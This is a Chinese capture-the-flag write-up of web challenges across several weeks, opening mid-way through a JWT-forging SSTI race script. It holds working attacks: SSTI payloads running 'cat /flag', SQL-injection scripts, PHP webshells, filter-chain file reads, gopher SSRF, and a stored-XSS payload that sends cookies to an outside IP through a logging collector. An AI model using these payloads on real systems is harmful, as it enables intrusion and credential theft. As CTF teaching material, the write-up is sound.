secret = hashlib.sha256(str(time_started).encode()).hexdigest()
attack_payloads = [
"{{7*7}}",
"{{config}}",
"{{lipsum.__globals__}}",
"flag{test}",
"{{''.__class__.__mro__[1].__subclasses__()}}",
]
for payload in attack_payloads:
attack_payload = {"id": 1, "role": "admin", "name": payload}
attack_token = jwt.encode(attack_payload, secret, algorithm='HS256')
if isinstance(attack_token, bytes):
attack_token = attack_token.decode('utf-8')
for i in range(10):
try:
request_count[0] += 1
requests.get(target, cookies={'session': attack_token}, timeout=0.1)
requests.get(target + "admin", cookies={'session': attack_token}, timeout=0.1)
except:
pass
def timing_attack():
"""精确时间控制攻击"""
for i in range(30):
try:
request_count[0] += 1
time.sleep(0.1)
guest_token = get_fresh_admin_token()
if guest_token:
requests.get(target, cookies={'session': guest_token}, timeout=0.05)
except:
pass
threads = []
for i in range(5):
t = threading.Thread(target=victim_thread)
threads.append(t)
t.start()
for i in range(3):
t = threading.Thread(target=attacker_thread)
threads.append(t)
t.start()
for i in range(2):
t = threading.Thread(target=timing_attack)
threads.append(t)
t.start()
for t in threads:
t.join(timeout=5)
return results
def exploit_with_flag_payloads():
"""使用flag相关的payload进行攻击"""
print("\n使用flag相关payload攻击...")
running_time = get_running_time()
if not running_time:
return
current_time = round(time.time())
time_started = current_time - running_time - 2
secret = hashlib.sha256(str(time_started).encode()).hexdigest()
flag_payloads = [
"{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag').read()}}",
"{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag.txt').read()}}",
"{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag*').read()}}",
"{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('find / -name \"*flag*\" -type f 2>/dev/null | head -5 | xargs cat').read()}}",
"{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('env | grep -i flag').read()}}",
"{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls -la').read()}}",
"{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat *.txt').read()}}",
"{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ps aux | grep flag').read()}}",
]
for payload in flag_payloads:
print(f"尝试payload: {payload[:60]}...")
attack_payload = {"id": 1, "role": "admin", "name": payload}
attack_token = jwt.encode(attack_payload, secret, algorithm='HS256')
if isinstance(attack_token, bytes):
attack_token = attack_token.decode('utf-8')
victim_payload = {"id": 1, "role": "admin", "name": "Administrator"}
victim_token = jwt.encode(victim_payload, secret, algorithm='HS256')
if isinstance(victim_token, bytes):
victim_token = victim_token.decode('utf-8')
def victim():
for i in range(10):
try:
resp = requests.get(target + "admin", cookies={'session': victim_token}, timeout=0.3)
if "Welcome Back" in resp.text:
result = resp.text.replace("Welcome Back, ", "")
if result != "Administrator" and len(result) > 10:
print(f"!!! 竞争成功: {result}")
except:
pass
def attacker():
for i in range(10):
try:
requests.get(target, cookies={'session': attack_token}, timeout=0.1)
requests.get(target + "admin", cookies={'session': attack_token}, timeout=0.1)
except:
pass
threads = []
for i in range(3):
t = threading.Thread(target=victim)
threads.append(t)
t.start()
for i in range(2):
t = threading.Thread(target=attacker)
threads.append(t)
t.start()
for t in threads:
t.join(timeout=2)
def check_simple_race():
"""简单的竞争条件测试"""
print("\n简单竞争条件测试...")
admin_token = get_fresh_admin_token()
guest_token = get_fresh_admin_token()
if admin_token and guest_token:
for i in range(10):
try:
t1 = threading.Thread(target=lambda: requests.get(target + "admin", cookies={'session': admin_token}))
t2 = threading.Thread(target=lambda: requests.get(target, cookies={'session': guest_token}))
t1.start()
t2.start()
t1.join(timeout=1)
t2.join(timeout=1)
except:
pass
def main():
"""主函数"""
print("开始JWT预测 + 竞争条件攻击...")
running_time = get_running_time()
if running_time:
print(f"服务器运行时间: {running_time} 秒")
results = precise_race_condition_attack()
if results:
print("攻击结果:")
for result in results:
print(f" {result}")
exploit_with_flag_payloads()
check_simple_race()
print("\n攻击完成!")
if __name__ == "__main__":
main()
flag{1e9541c7-04e3-4d12-9482-02a1f8417d11}二进制博客
先随便注册一个号登录进去

进去随便发一篇博客然后再删除,发现会自动跳转到一个博客管理的页面,即/blog_manager.php路由

发现有导入功能,要导入.dat文件,随便写个空文件改成.dat文件上传,发现会提示反序列化失败

叫ai写个生成.dat文件的脚本
<?php
class Blog {
public $id;
public $title;
public $content;
public $user_id;
public $username;
public $created_at;
public $updated_at;
public $template;
}
// 创建数据
$blog = new Blog();
$blog->id = 10;
$blog->title = "Test Blog";
$blog->content = "Hello World";
$blog->user_id = 1;
$blog->username = "admin";
$blog->created_at = "2024-01-15 10:30:00";
$blog->updated_at = "2024-01-15 10:30:00";
$blog->template = "default.tpl";
$backup_data = array(
'timestamp' => 1705300000,
'version' => '2.1',
'blog' => $blog,
'signature' => 'a1b2c3d4e5f67890abcdef1234567890abcdef1234567890abcdef1234567890'
);
// 序列化并写入文件
$serialized_data = serialize($backup_data);
file_put_contents('backup.dat', $serialized_data);
echo "backup.dat 文件已生成!\n";
echo "文件大小: " . filesize('backup.dat') . " 字节\n";
?>然后传进去,抓个包,这个template这里发现可以进行文件读取


尝试读一下/flag /proc/1/environ之类的,发现不好使
读取flag.php时会报错500

尝试用过滤器封装一下

成功读取到内容

然后结果再base64解密一下即可

flag{84e47891-ec4f-4796-a657-f1b26ae6c6c1}flag{842c4abe-7232-4f34-8ce8-28eaf0870f39}strange_login
考点:sql注入已知用户名的万能密码
提示1=1,并且进入是一个登录口,要管理员身份才能登录。猜测要使用已知用户名的万能密码。
admin' or '1'='1密码随便输入,登录即可

flag{0990a34c-70d9-49be-ae41-1fca9186a196}宇宙的中心是php
考点:绕过反调试、代码审计
进入是一个动画页面

随手想看下源代码,发现按键被禁用了。直接找浏览器设置工具打开开发者工具,发现提示s3kret.php

访问s3kret.php路由,得到源码:
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['newstar2025'])){
$answer = $_POST['newstar2025'];
if(intval($answer)!=47&&intval($answer,0)==47){
echo $flag;
}else{
echo "你还未参透奥秘";
}
}要求用post方式给newstar2025传值,且内容按照十进制解析结果不等于47、自动检测进制后解析结果等于47。这里将47转换成十六进制0x2F即可绕过

flag{adf3e286-d809-4252-bd93-fc4195cd42d8}我真得控制你了
考点:反调试绕过、前端代码审计、弱口令、代码审计
进去有个启动按钮,但是点不了,应该是按钮被覆盖了

这次burp抓包看下页面源代码,可以看到按钮被shieldOverlay这个层屏蔽
直接用上面的方式打开开发者工具,在控制台运行如下语句移除这个屏蔽层
document.getElementById('shieldOverlay').remove();然后启动即可进入到下一关,提示弱口令

爆破一下,发现密码为111111时成功跳转

认证之后进入portal.php路由,并且给出源码
<?php
error_reporting(0);
function generate_dynamic_flag($secret) {
return getenv("ICQ_FLAG") ?: 'default_flag';
}
if (isset($_GET['newstar'])) {
$input = $_GET['newstar'];
if (is_array($input)) {
die("恭喜掌握新姿势");
}
if (preg_match('/[^\d*\/~()\s]/', $input)) {
die("老套路了,行不行啊");
}
if (preg_match('/^[\d\s]+$/', $input)) {
die("请输入有效的表达式");
}
$test = 0;
try {
@eval("\$test = $input;");
} catch (Error $e) {
die("表达式错误");
}
if ($test == 2025) {
$flag = generate_dynamic_flag($flag_secret);
echo "<div class='success'>拿下flag!</div>";
echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>";
} else {
echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>";
}
} else {
?>
<?php } ?>要求通过get方式给newstar传参,要满足如下要求:
- 首先不能是数组
- 输入只能包含数字、运算符、括号、空格
- 输入不能全是数字和空格
- eval计算结果是2025
这里可以使用*运算符,由45乘45得到2025

flag{9e506717-b19b-4d42-bd8d-b30a80eba0a6}别笑,你也过不了第二关
一个小游戏题目,要求第二关100000分过关
在源代码中可以看到,将score参数传入flag.php,根据分数判断是否达到1000000

可以直接发送score=1000000的post到flag.php,在控制台运行下面的代码即可
// 直接发送通关请求
fetch("/flag.php", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "score=1000000" // 直接设置满分
})
.then(response => response.text())
.then(data => {
console.log("Flag获取成功:", data);
alert(data); // 显示flag
})
.catch(error => {
console.error("请求失败:", error);
});
flag{63892e85-6cce-4fa7-8606-60bd0ba66037}或者直接玩游戏,在控制台设置score为一个大于1000000的值,再随便动两下等结束即可


黑客小W的故事(1)
考点:http协议、对脑电波
要打900只吉欧才行,但是中间会被古神干掉,抓包看一下,发现发送了大量的hunt包,每次count都是1

直接将count改为900

进入下一关/Level2_mato
要与蘑菇先生对话说guding,但是直接点击交谈无反应,根据提示要get传入shipin=mogubaozi
对话之后提示要用post方式向他传递要说的话,随便给guding传个参数,要求用DELETE方法除掉chongzi

再加上个chongzi参数,然后改一下DELETE方法

之后访问进入给出的路由,进入第三关:/Level3_SheoChallenge
提示中说要修改UA头为CycloneSlash,但是回显说是假把式
改成:User-Agent: CycloneSlash/1.又说要最新的直接改成下面这样:
User-Agent: CycloneSlash/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.7049.96 Safari/537.36 Edg/135.0.3179.85这次又要DashSlash

User-Agent: CycloneSlash/5.0 (Windows NT 10.0; Win64; x64) DashSlash/537.36 (KHTML, like Gecko) Chrome/135.0.7049.96 Safari/537.36 Edg/135.0.3179.85 进入下一关:/Level4_Sly
访问即可获得flag

flag{90b7e380-7274-43f1-b9ba-6663382368da}week2
DD加速器
直接命令执行查看环境变量,在里面找到flag。(根目录下的是假的)
127.0.0.1;env
真的是签到欸
写个代码将要执行的语句进行对应加密,注意这里空格会被替换,使用${IFS}绕过
# save as make_cipher.py
import base64
import string
# ---- atbash 实现(对大小写字母分别映射,非字母保持不变) ----
def atbash(s: str) -> str:
out = []
for ch in s:
if 'a' <= ch <= 'z':
out.append(chr(ord('a') + (25 - (ord(ch) - ord('a')))))
elif 'A' <= ch <= 'Z':
out.append(chr(ord('A') + (25 - (ord(ch) - ord('A')))))
else:
out.append(ch)
return ''.join(out)
# ---- rot13(Python 标准库 codecs 也可用,这里手写保证可见性) ----
def rot13(s: str) -> str:
res = []
for ch in s:
if 'a' <= ch <= 'z':
res.append(chr((ord(ch) - ord('a') + 13) % 26 + ord('a')))
elif 'A' <= ch <= 'Z':
res.append(chr((ord(ch) - ord('A') + 13) % 26 + ord('A')))
else:
res.append(ch)
return ''.join(res)
if __name__ == '__main__':
E = "system('cat${IFS}/flag');" # <- 你可以替换成别的安全语句用于测试
# 1) 对 E 做 rot13
r = rot13(E)
# 2) 对 rot13(E) 做 atbash,得到 X
X = atbash(r)
# 3) 为避免服务器那边的 str_replace(' ', '', ...) 出险,去掉 X 中的空格(通常 atbash 后不会出现空格,但可保险)
X = X.replace(' ', '')
# 4) base64 编码
cipher_b64 = base64.b64encode(X.encode()).decode()
print("E (to be eval'd) =")
print(E)
print()
print("rot13(E) =")
print(r)
print()
print("atbash(rot13(E)) = (this will be base64-decoded on server)")
print(X)
print()
print("Final cipher (base64) to POST:")
print(cipher_b64)
post传入:
cipher=dW91dGlhKCdrbXQke0VIVX0vaGJtZycpOw==搞点哦润吉吃吃橘
在源码的注释里面看到账号密码:Doro/Doro_nJlPVs_@123
登录之后要求计算给定的表达式

import requests
import re
import time
def solve_challenge():
base_url = "https://eci-2ze5djxemg4rlntogdkq.cloudeci1.ichunqiu.com:5000"
# 1. 开始挑战,获取表达式和新的session
start_url = f"{base_url}/start_challenge"
# 使用原始登录session发起挑战
original_session = "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiRG9ybyJ9.aOO3Mw.aYSwzbiz5vCzr5jj65TYspEPUNQ"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Content-Type": "application/json",
"Referer": f"{base_url}/home"
}
cookies = {"session": original_session}
try:
# 发起挑战请求
resp = requests.post(start_url, headers=headers, cookies=cookies, timeout=5)
print(f"开始挑战状态码: {resp.status_code}")
if resp.status_code != 200:
print("挑战开始失败")
return None
data = resp.json()
expression = data['expression']
print(f"表达式: {expression}")
print(f"multiplier: {data['multiplier']}")
print(f"xor_value: {data['xor_value']}")
# 从表达式中提取时间戳(关键修正!)
timestamp_match = re.search(r'\((\d+) \*', expression)
if not timestamp_match:
print("无法从表达式中提取时间戳")
return None
timestamp = int(timestamp_match.group(1))
print(f"从表达式提取的时间戳: {timestamp}")
# 获取新的session
new_session = resp.cookies.get('session')
if not new_session:
print("未获取到新session")
return None
print(f"新session: {new_session[:50]}...")
# 2. 计算token(使用表达式中的时间戳,不是当前时间戳)
multiplier = data['multiplier']
xor_value = int(data['xor_value'], 16)
# 使用表达式中的时间戳进行计算
token = (timestamp * multiplier) ^ xor_value
print(f"计算token: {token}")
# 3. 验证token(使用新session)
verify_url = f"{base_url}/verify_token"
verify_cookies = {"session": new_session}
verify_data = {"token": token}
# 确保在3秒内提交
start_time = time.time()
verify_resp = requests.post(verify_url, json=verify_data, cookies=verify_cookies, headers=headers, timeout=5)
elapsed = time.time() - start_time
print(f"验证状态码: {verify_resp.status_code}")
print(f"验证耗时: {elapsed:.2f}秒")
print(f"验证响应: {verify_resp.text}")
return verify_resp.json()
except requests.exceptions.RequestException as e:
print(f"请求错误: {e}")
return None
except Exception as e:
print(f"其他错误: {e}")
return None
if __name__ == "__main__":
result = solve_challenge()
if result:
print("最终结果:", result)flag{e2e6431d-01cd-439b-949f-c391ec62180b}白帽小K的故事(1)
在页面源代码发现这段函数

构造如下请求,读取一下给的star.mp3,发现会将该文件当作php代码执行。

直接写个php马读取flag,保存为2.mp3上传并读取
<?php system('cat /flag'); ?>
flag{3e8216b0-4154-4a3f-aab0-30c1b1c26a21}小E的管理系统
根据提示为sql注入,输入2-1,查询的是节点1的结果,判断为数字型注入。
过滤空格,这里用%0a绕过
经过测试,得到字段数为5
/query.php?id=1%0aorder%0aby%0a5查看回显位时发现逗号,被过滤,这里用join绕过,得到回显位为1
/query.php?id=1%0aunion%0aselect%0a*%0afrom%0a(select%0a1)a%0ajoin(select%0a2)b%0ajoin(select%0a3)c%0ajoin(select%0a4)d%0ajoin(select%0a5)e
查表
/query.php?id=1%0aunion%0aselect%0a*%0afrom%0a(select%0a1)a%0ajoin(select%0a2)b%0ajoin%0a(select%0a3)c%0ajoin(select%0a4)d%0ajoin(select%0agroup_concat(tbl_name)%0aFROM%0asqlite_master)e
获取表的结构,从sqlite_master中读取sql字段
/query.php?id=1%0aunion%0aselect%0a*%0afrom%0a(select%0a1)a%0ajoin(select%0a2)b%0ajoin%0a(select%0a3)c%0ajoin(select%0a4)d%0ajoin(select%0agroup_concat(sql)%0aFROM%0asqlite_master)e 
在sys_config表中可以看到有id,config_key,config_value
看一下内容,最终在config_value字段中发现flag
/query.php?id=1%0aunion%0aselect%0a*%0afrom%0a(select%0a1)a%0ajoin(select%0a2)b%0ajoin%0a(select%0a3)c%0ajoin(select%0a4)d%0ajoin(select%0agroup_concat(config_value)%0aFROM%0asys_config)eflag{359aabbe-8a6d-4a48-be42-f7b2a7b86437}week3
小E的秘密计划
根据题目的备份提示,访问/www.zip下载备份源码
C:\Users\clockwise\Desktop\www (2)\public-555edc76-9621-4997-86b9-01483a50293e>git status
On branch master
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
new file: tips.txt
C:\Users\clockwise\Desktop\www (2)\public-555edc76-9621-4997-86b9-01483a50293e>git show :tips.txt
tips:什么是branch
C:\Users\clockwise\Desktop\www (2)\public-555edc76-9621-4997-86b9-01483a50293e>git show 1389b47
commit 1389b4798a8013a1c90fb2d867243d0da18c5175
Author: admin <admin@admin.com>
Date: Wed Oct 1 12:10:02 2025 +0800
初始化
diff --git a/index.html b/index.html
new file mode 100644
index 0000000..e3b643a
--- /dev/null
+++ b/index.html
@@ -0,0 +1,74 @@
+<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+ <meta charset="UTF-8">
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
+ <title>Project X - 登录系统</title>
+ <link rel="stylesheet" href="../css/style.css">
+</head>
+<body>
+ <div class="floating-shapes">
+ <div class="floating-shape shape-circle" style="top: 15%; left: 10%;"></div>
+ <div class="floating-shape shape-ring" style="top: 40%; left: 85%;"></div>
+ <div class="floating-shape shape-polygon" style="top: 70%; left: 20%;"></div>
+ </div>
+
+
+ <div class="login-container">
+ <div class="login-box">
+ <div class="login-logo">
+ <h1>PROJECT X</h1>
+ <p>系统访问认证</p>
+ <p>tips: 默认密码使用uuid4生成,不可能被爆破</p>
+ </div>
+
+ <form id="login-form">
+ <div class="input-group">
+ <label for="username">用户ID</label>
+ <input type="text" id="username" placeholder="输入您的用户ID">
+ </div>
+
+ <div class="input-group">
+ <label for="password">密码</label>
+ <input type="password" id="password" placeholder="输入您的密码">
+ </div>
+ <div class="login-actions">
+ <a href="/" class="btn">返回首页</a>
+ <button type="button" class="btn btn-primary" id="login-btn">验证登录</button>
+ </div>
+
+ <div class="login-footer">
+ <p>版本 5.1.4</p>
+ </div>
+ </form>
+ </div>
+ </div>
+ <script>
+ document.getElementById('login-btn').addEventListener('click', function() {
+ const username = document.getElementById('username').value;
+ const password = document.getElementById('password').value;
+
+ fetch('login.php', {
+ method: 'POST',
+ headers: {
+ 'Content-Type': 'application/x-www-form-urlencoded'
+ },
+ body: `username=${encodeURIComponent(username)}&password=${encodeURIComponent(password)}`
+ })
+ .then(response => {
+ if (response.redirected) {
+ window.location.href = response.url;
+ } else {
+ return response.text();
+ }
+ })
+ .then(text => {
+ if (text) {
+ alert(text);
+ }
+ })
+ .catch(error => console.error('Error:', error));
+ });
+ </script>
+</body>
+</html>
\ No newline at end of file
diff --git a/login.php b/login.php
new file mode 100644
index 0000000..0d6a57d
--- /dev/null
+++ b/login.php
@@ -0,0 +1,17 @@
+<?php
+require_once 'user.php';
+$userData = getUserData();
+if ($_SERVER['REQUEST_METHOD'] === 'POST') {
+ $username = $_POST['username'] ?? '';
+ $password = $_POST['password'] ?? '';
+
+ if ($username === $userData['username'] && $password === $userData['password']) {
+ header('Location: /secret-xxxxxxxxxxxxxxxxxxx');
+ exit();
+ } else {
+ echo '登录失败,在git里找找吧';
+ exit();
+ }
+}
+
+
C:\Users\clockwise\Desktop\www (2)\public-555edc76-9621-4997-86b9-01483a50293e>git show 5f8ecc0
commit 5f8ecc03aee0de892013bba7ce0522876c419b58
Author: admin <admin@admin.com>
Date: Wed Oct 1 12:14:08 2025 +0800
新增提示
diff --git a/tips.txt b/tips.txt
new file mode 100644
index 0000000..a7fa1d9
--- /dev/null
+++ b/tips.txt
@@ -0,0 +1 @@
+tips:什么是branch
\ No newline at end of file
C:\Users\clockwise\Desktop\www (2)\public-555edc76-9621-4997-86b9-01483a50293e>git show 5fef682
commit 5fef682d7eceba025c894af4a5f8bf4680666368 (HEAD -> master)
Author: admin <admin@admin.com>
Date: Wed Oct 1 12:14:25 2025 +0800
删除提示
diff --git a/tips.txt b/tips.txt
deleted file mode 100644
index a7fa1d9..0000000
--- a/tips.txt
+++ /dev/null
@@ -1 +0,0 @@
-tips:什么是branch
\ No newline at end of file
在这个目录下的HEAD文件中发现branch

查看一下git记录
C:\Users\clockwise\Desktop\www (2)\public-555edc76-9621-4997-86b9-01483a50293e>git show 353b98f7c2fe77a5a426bf73576f5113820c4669
commit 353b98f7c2fe77a5a426bf73576f5113820c4669
Author: admin <admin@admin.com>
Date: Wed Oct 1 12:11:48 2025 +0800
测试,这个branch会删
diff --git a/user.php b/user.php
new file mode 100644
index 0000000..f3d34d7
--- /dev/null
+++ b/user.php
@@ -0,0 +1,8 @@
+<?php
+
+function getUserData() {
+ return [
+ 'username' => 'admin',
+ 'password' => 'f75cc3eb-21e0-4713-9c30-998a8edb13de'
+ ];
+}
\ No newline at end of file得到账号密码:
'username' => 'admin',
'password' => 'f75cc3eb-21e0-4713-9c30-998a8edb13de'访问登录:https://eci-2zeiq1qx3sg2kcxdr0ws.cloudeci1.ichunqiu.com/public-555edc76-9621-4997-86b9-01483a50293e/
登录之后下载.DS_Store文件
利用工具ds_store_exp分析得到flag路径

之后访问即可
https://eci-2zeiq1qx3sg2kcxdr0ws.cloudeci1.ichunqiu.com/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/ffffllllaaaagggg114514flag{1366377a-7d01-430f-b722-473f6cbd5f43}白帽小K的故事(2)
布尔盲注,抓个包可以看到查询正确的回显内容是:{status: "ok", message: "Found"}

以这个为标志写个脚本布尔盲注,这里过滤了空格,用括号绕过
import requests
def blind_sql_injection(url):
"""
基于布尔盲注的自动化脚本,用于逐字符提取数据
"""
extracted_data = ""
for char_position in range(1, 1000):
current_char = extract_single_char(url, char_position)
if current_char:
extracted_data += current_char
print(f"位置 {char_position}: '{current_char}' - 当前结果: {extracted_data}")
else:
print(f"数据提取完成,共 {char_position - 1} 个字符")
break
return extracted_data
def extract_single_char(url, position):
"""
提取指定位置的单个字符
"""
low_bound = 32
high_bound = 127
while low_bound < high_bound:
mid_point = (low_bound + high_bound) // 2
# 构建SQL注入payload
payload = construct_payload(position, mid_point)
# 发送请求并检查响应
is_greater = send_injection_request(url, payload)
if is_greater:
low_bound = mid_point + 1
else:
high_bound = mid_point
# 检查是否找到有效字符
final_char = chr(low_bound) if 32 <= low_bound <= 126 else None
return final_char
def construct_payload(position, ascii_value):
"""
构建SQL注入payload
可根据需要修改查询语句
"""
payloads = [
# 获取所有数据库名
f"amiya'AND(ascii(substr((SELECT(group_concat(schema_name))FROM(information_schema.schemata)),{position},1))>{ascii_value})#",
# 获取Flag库的所有表名
f"amiya'AND(ascii(substr((SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE(table_schema='Flag')),{position},1))>{ascii_value})#",
# 获取flag表的所有列名
f"amiya'AND(ascii(substr((SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE(table_name='flag')),{position},1))>{ascii_value})#",
# 获取flag数据
f"amiya'AND(ascii(substr((SELECT(flag)FROM(Flag.flag)),{position},1))>{ascii_value})#"
]
# 使用最后一个payload(获取flag数据)
return payloads[-1]
def send_injection_request(url, payload):
"""
发送注入请求并解析响应
"""
request_data = {"name": payload}
try:
response = requests.post(url, data=request_data, timeout=5)
return '{"status":"ok","message":"Found"}' in response.text
except requests.exceptions.RequestException as e:
print(f"请求失败: {e}")
return False
if __name__ == "__main__":
target_url = "https://eci-2ze5w79g3ev6rmohwkr4.cloudeci1.ichunqiu.com:80/search"
print("开始SQL盲注攻击...")
final_flag = blind_sql_injection(target_url)
print(f"最终结果: {final_flag}")flag{866a6dd5-b7eb-429a-a82a-b34fe86b1a49}mirror_gate
题目描述中提到了系统中的应用配置缺陷,应该就是.htaccess解析问题了
扫描/uploads目录可以发现有.htaccess文件

访问一下这个文件:
AddType application/x-httpd-php .webp发现会把.webp后缀的文件当作php文件解析
写个马改为.webp后缀
这里还会检查文件内容,写入如下一句话木马绕过
<?=`more /fl*`?>
之后放包访问该文件即可
flag{4ae6fc8b-16d3-4d98-9559-66a6d89b2002}
ez_chain
过滤了如下内容:
array('/',':','php','base64','data','zip','rar','filter','flag');并且会对输出结果循环base64解码,并且解出来的内容中不能包含f,这里使用convert.iconv.ASCII.CP037 将ASCII转换为CP037编码
php://filter/convert.base64-encode|convert.iconv.ASCII.CP037/resource=/flag要双重url编码绕过黑名单
/?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2565%256e%2563%256f%2564%2565%257c%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2541%2553%2543%2549%2549%252e%2543%2550%2530%2533%2537%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%252f%2566%256c%2561%2567
将结果的hex编码复制下面,利用python转换CP037编码
# CP037解码脚本
# 您提供的CP037编码十六进制字符串
hex_string = "E9 94 A7 88 E9 F3 A3 88 D5 E6 E9 89 E9 C4 83 F3 D5 A8 F0 F5 D5 A9 D9 93 D3 E3 D8 F4 D6 E6 E8 A3 E8 94 C6 92 E9 E2 F1 94 D4 A9 D4 F3 D5 E6 E5 91 D5 A9 87 A6 E8 A9 88 F9 C3 87 7E 7E"
# 将十六进制字符串转换为字节序列
def hex_to_bytes(hex_str):
# 移除空格并转换为字节
hex_clean = hex_str.replace(" ", "")
try:
bytes_data = bytes.fromhex(hex_clean)
return bytes_data
except ValueError as e:
print(f"十六进制转换错误: {e}")
return None
# 解码CP037编码
def decode_cp037(hex_str):
# 转换为字节
cp037_bytes = hex_to_bytes(hex_str)
if cp037_bytes is None:
return None
print(f"字节长度: {len(cp037_bytes)}")
print(f"原始字节: {cp037_bytes.hex().upper()}")
try:
# 尝试CP037解码
decoded_text = cp037_bytes.decode('cp037')
return decoded_text
except UnicodeDecodeError as e:
print(f"CP037解码错误: {e}")
# 尝试其他可能的EBCDIC编码
encodings_to_try = ['cp500', 'cp1047', 'ibm037', 'ebcdic-cp-us']
for encoding in encodings_to_try:
try:
decoded = cp037_bytes.decode(encoding)
print(f"使用 {encoding} 解码: {decoded}")
except UnicodeDecodeError:
print(f"{encoding} 解码失败")
return None
# 主程序
if __name__ == "__main__":
print("CP037解码结果:")
print("=" * 50)
result = decode_cp037(hex_string)
if result:
print(f"\n解码后的文本: {result}")
# 显示每个字符的详细信息
print(f"\n详细解码信息:")
print("-" * 30)
bytes_data = hex_to_bytes(hex_string)
for i, byte in enumerate(bytes_data):
try:
char = bytes([byte]).decode('cp037')
print(f"字节 0x{byte:02X} -> 字符: '{char}' (ASCII: {ord(char)})")
except UnicodeDecodeError:
print(f"字节 0x{byte:02X} -> 无法解码的字符")
print("\n" + "=" * 50)解码后的文本: ZmxhZ3thNWZiZDc3Ny05NzRlLTQ4OWYtYmFkZS1mMzM3NWVjNzgwYzh9Cg==结果base64解码即可
flag{a5fbd777-974e-489f-bade-f3375ec780c8}who's ssti
{{lipsum.__globals__.__builtins__.__import__('re').findall('\\d+', 'abc123def456')}}{{lipsum.__globals__.__builtins__.__import__('difflib').get_close_matches('apple', ['apply', 'ape', 'apples', 'peach'])}}{{lipsum.__globals__.__builtins__.__import__('random').choice([1, 2, 3, 4, 5])}}{{lipsum.__globals__.__builtins__.__import__('textwrap').dedent(' hello\n world')}}{{lipsum.__globals__.__builtins__.__import__('statistics').mean([1, 2, 3, 4, 5])}}
成功调用5个函数即可获得flag

flag{7d680b9d-49e3-40c4-b7bb-b2fa6b9a9759}week4
武功秘籍
稻草人cms
访问/dcr/login.htm路由进入登录口,弱口令:admin/admin

添加新闻类,随便写个名字添加,然后回到首页。

点击添加新闻

传个php马,然后添加新闻

抓包改下Content-Type

然后找一下上传的马子名字

然后之后看phpinfo即可找到flag

flag{33111046-ef43-4af5-aba6-c83c3d464eb3}小羊走迷宫
变量名字用这种方式绕过:ma[ze.path
payload:
http://8.147.132.32:20712/?ma[ze.path=TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO2E6Mjp7aTowO086ODoiZW5kUG9pbnQiOjE6e3M6MTQ6IgBlbmRQb2ludABwYXRoIjtzOjUyOiJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWZsYWcucGhwIjt9aToxO3M6MzoiZm9vIjt9fQ==
然后结果再base64解码一下就行了

flag{14d1257a-02c7-4355-a0a5-ce9d5c089c8a}小E的留言板
在vps上写个php文件,用来接受xss得到cookie
<?php
$cookie = $_GET['cookie'];
$result = fopen("cookie.txt", "a");
fwrite($result,$cookie . "\n");
fclose($result);
?>然后在web页面随便注册个账号登录进去
" autofofocuscus oonnfofocuscus="var i=new Image();i.src='http://82.157.235.117/1.php?cookie='+encodeURICompoonnent(document.cookie);this.oonnfofocuscus=null"将payload输入留言框,然后更新、报告。过了一会即可看到获得到的cookie

sqlupload
随便写个一句话木马
<?php @eval($_REQUEST['1']); ?>然后抓包,上传的时候将文件名字改成一句话木马

然后利用getFileList.php中正则漏洞:只包含upload_time或者id即可绕过

然后利用这个向网站根目录将刚刚的马写入文件
/getFileList.php?order=upload_time%20INTO%20OUTFILE%20%27/var/www/html/shell1.php%27访问发现成功写入,并且能执行phpinfo

蚁剑直接连,然后执行根目录下的readFlag即可

ssti在哪里
web服务(端口80/外部25036) → app.py(5000) → interal_web.py(5001)
由于题目要post传参,这里用gopher打,对name进行模板注入
payload直接读取环境变量:

gopher://127.0.0.1:5000/_POST%20/%20HTTP/1.0%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2048%0d%0a%0d%0aname%3D%7B%7Bcycler.__init__.__globals__.os.environ%7D%7Dweek5
小W和小K的故事(最终章)
在app.js中可以看到硬编码了随机数种子114514

根据random.js写个python脚本预测一下,获取admin密码
class Random:
def __init__(self, seed):
self.seed = seed % 998244353
def next(self):
self.seed = (self.seed * 48271) % 998244353
return self.seed
def getRandomInt(self, min_val, max_val):
return min_val + (self.next() % (max_val - min_val))
def getRandomString(self, length):
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
result = ""
for i in range(length):
result += charset[self.getRandomInt(0, len(charset))]
return result
def main():
# 生成session secret(第一次调用)
rng = Random(114514)
session_secret = rng.getRandomString(16)
print(f"Session Secret: {session_secret}")
# 生成admin密码(第二次调用,状态已改变)
admin_password = rng.getRandomString(16)
print(f"admin密码: {admin_password}")
if __name__ == "__main__":
main()
# 输出结果:
# Session Secret: JbjULcgJmg6EyKcQ
# Admin密码: XrfGpmeEFZmz8NDZ得到admin密码:XrfGpmeEFZmz8NDZ
